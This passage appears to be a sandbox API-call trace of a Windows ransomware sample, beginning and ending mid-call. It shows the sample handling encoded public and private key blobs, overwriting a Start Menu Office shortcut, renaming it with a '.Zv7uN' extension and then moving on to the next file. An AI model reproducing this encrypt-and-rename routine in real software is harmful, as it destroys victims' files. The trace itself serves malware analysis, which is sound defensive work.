rwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0133.867] GetCurrentThreadId () returned 0xa30 [0133.867] GetCurrentThreadId () returned 0xa30 [0133.867] GetCurrentThreadId () returned 0xa30 [0133.867] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0133.867] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0133.868] GetCurrentThreadId () returned 0xa30 [0133.868] GetCurrentThreadId () returned 0xa30 [0133.868] GetCurrentThreadId () returned 0xa30 [0133.868] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Publisher 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft publisher 2010.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.868] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0133.868] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.869] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0xbe1 [0133.869] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.869] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0xbe1, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f3d4*=0xbe1, lpOverlapped=0x0) returned 1 [0133.872] CloseHandle (hObject=0x1e8) returned 1 [0133.873] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Publisher 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft publisher 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.875] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0xbe1, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f3e0*=0xbe1, lpOverlapped=0x0) returned 1 [0133.877] CloseHandle (hObject=0x1e8) returned 1 [0133.877] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Publisher 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft publisher 2010.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Publisher 2010.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft publisher 2010.lnk.zv7un")) returned 1 [0133.878] GetCurrentThreadId () returned 0xa30 [0133.878] GetCurrentThreadId () returned 0xa30 [0133.878] GetCurrentThreadId () returned 0xa30 [0133.878] GetCurrentThreadId () returned 0xa30 [0133.878] GetCurrentThreadId () returned 0xa30 [0133.879] GetCurrentThreadId () returned 0xa30 [0133.879] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft SharePoint Workspace 2010.lnk", cAlternateFileName="MICROS~3.LNK")) returned 1 [0133.879] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.879] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.879] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft SharePoint Workspace 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft sharepoint workspace 2010.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbef)) returned 1 [0133.879] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft SharePoint Workspace 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft sharepoint workspace 2010.lnk")) returned 0x20 [0133.880] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft SharePoint Workspace 2010.lnk", dwFileAttributes=0x80) returned 1 [0133.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0133.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0133.882] GetCurrentThreadId () returned 0xa30 [0133.883] GetCurrentThreadId () returned 0xa30 [0133.883] GetCurrentThreadId () returned 0xa30 [0133.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 